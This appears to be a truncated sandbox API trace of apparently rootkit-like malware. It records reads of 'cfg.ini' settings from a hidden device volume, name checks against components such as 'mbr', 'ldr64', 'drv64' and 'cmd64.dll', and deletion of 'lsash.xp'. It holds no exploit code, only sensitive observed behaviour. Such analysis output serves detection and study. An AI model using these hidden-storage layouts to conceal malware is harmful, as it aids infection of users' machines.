FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.777] KeLeaveCriticalRegion () [0123.777] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.777] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.777] KeEnterCriticalRegion () [0123.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.777] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ea000 [0123.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.777] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.777] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.777] IdePortDispatch () returned 0x103 [0123.778] KeWaitForMutexObject () returned 0x0 [0123.778] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.778] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.778] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.778] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.778] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.778] IdePortDispatch () returned 0x103 [0123.778] KeWaitForMutexObject () returned 0x0 [0123.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.778] KeLeaveCriticalRegion () [0123.778] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.779] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.779] KeEnterCriticalRegion () [0123.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.779] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.779] KeLeaveCriticalRegion () [0123.779] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.779] KeEnterCriticalRegion () [0123.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.779] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.779] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.779] KeLeaveCriticalRegion () [0123.779] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.779] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.779] KeEnterCriticalRegion () [0123.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.779] ExFreePoolWithTag (P=0xfffffa8003bed340, Tag=0x0) [0123.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.779] KeLeaveCriticalRegion () [0123.779] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.779] ReleaseMutex (hMutex=0xf0) returned 1 [0123.779] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.779] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.779] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.779] KeEnterCriticalRegion () [0123.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.779] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.779] IdePortDispatch () returned 0x103 [0123.780] KeWaitForMutexObject () returned 0x0 [0123.780] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.780] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.780] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.780] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.780] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.780] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed5a0 [0123.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.780] KeLeaveCriticalRegion () [0123.780] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.780] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.780] KeEnterCriticalRegion () [0123.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.780] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.780] KeLeaveCriticalRegion () [0123.780] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.780] KeEnterCriticalRegion () [0123.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.780] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.780] IdePortDispatch () returned 0x103 [0123.780] KeWaitForMutexObject () returned 0x0 [0123.780] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.780] KeLeaveCriticalRegion () [0123.780] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.781] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.781] KeEnterCriticalRegion () [0123.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.781] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035eb000 [0123.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.781] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.781] IdePortDispatch () returned 0x103 [0123.781] KeWaitForMutexObject () returned 0x0 [0123.781] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.781] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.781] IdePortDispatch () returned 0x103 [0123.781] KeWaitForMutexObject () returned 0x0 [0123.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.781] KeLeaveCriticalRegion () [0123.781] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.782] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.782] KeEnterCriticalRegion () [0123.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.782] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.782] KeLeaveCriticalRegion () [0123.782] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.782] KeEnterCriticalRegion () [0123.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.782] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.782] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.782] KeLeaveCriticalRegion () [0123.782] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.782] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.782] KeEnterCriticalRegion () [0123.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.782] ExFreePoolWithTag (P=0xfffffa8003bed5a0, Tag=0x0) [0123.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.782] KeLeaveCriticalRegion () [0123.782] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.782] ReleaseMutex (hMutex=0xf0) returned 1 [0123.782] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.782] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.782] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.782] KeEnterCriticalRegion () [0123.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.782] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.782] IdePortDispatch () returned 0x103 [0123.783] KeWaitForMutexObject () returned 0x0 [0123.783] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.783] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.783] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.783] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.783] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.783] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bedc60 [0123.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.783] KeLeaveCriticalRegion () [0123.783] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.783] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.783] KeEnterCriticalRegion () [0123.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.783] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.783] KeLeaveCriticalRegion () [0123.783] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.783] KeEnterCriticalRegion () [0123.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.783] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.783] IdePortDispatch () returned 0x103 [0123.783] KeWaitForMutexObject () returned 0x0 [0123.783] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.783] KeLeaveCriticalRegion () [0123.783] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.784] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.784] KeEnterCriticalRegion () [0123.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.784] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ec000 [0123.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.784] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.784] IdePortDispatch () returned 0x103 [0123.784] KeWaitForMutexObject () returned 0x0 [0123.784] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.784] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.784] IdePortDispatch () returned 0x103 [0123.784] KeWaitForMutexObject () returned 0x0 [0123.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.784] KeLeaveCriticalRegion () [0123.784] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.785] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.785] KeEnterCriticalRegion () [0123.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.785] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.785] KeLeaveCriticalRegion () [0123.785] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.785] KeEnterCriticalRegion () [0123.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.785] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.785] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bedd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.785] KeLeaveCriticalRegion () [0123.785] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.785] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.785] KeEnterCriticalRegion () [0123.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.785] ExFreePoolWithTag (P=0xfffffa8003bedc60, Tag=0x0) [0123.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.785] KeLeaveCriticalRegion () [0123.785] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.785] ReleaseMutex (hMutex=0xf0) returned 1 [0123.785] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.785] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.785] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.785] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.785] KeEnterCriticalRegion () [0123.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.785] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.785] IdePortDispatch () returned 0x103 [0123.786] KeWaitForMutexObject () returned 0x0 [0123.786] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.786] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.786] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.786] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.786] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.786] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.786] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.786] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.786] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.786] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.786] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.786] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.786] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.786] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.786] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.786] KeLeaveCriticalRegion () [0123.786] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.786] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.786] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.786] KeEnterCriticalRegion () [0123.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.786] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.786] IdePortDispatch () returned 0x103 [0123.786] KeWaitForMutexObject () returned 0x0 [0123.786] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.786] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.787] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.787] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.787] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.787] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.787] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.787] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.787] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.787] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.787] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.787] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.787] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.787] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.787] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.787] KeLeaveCriticalRegion () [0123.787] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.787] ReleaseMutex (hMutex=0x100) returned 1 [0123.787] Sleep (dwMilliseconds=0x2bf20) [0123.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cfa5670, dwHighDateTime=0x1d24fa4)) [0123.792] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.792] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.795] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.795] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.795] KeEnterCriticalRegion () [0123.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.795] IoAllocateIrp (StackSize=1, 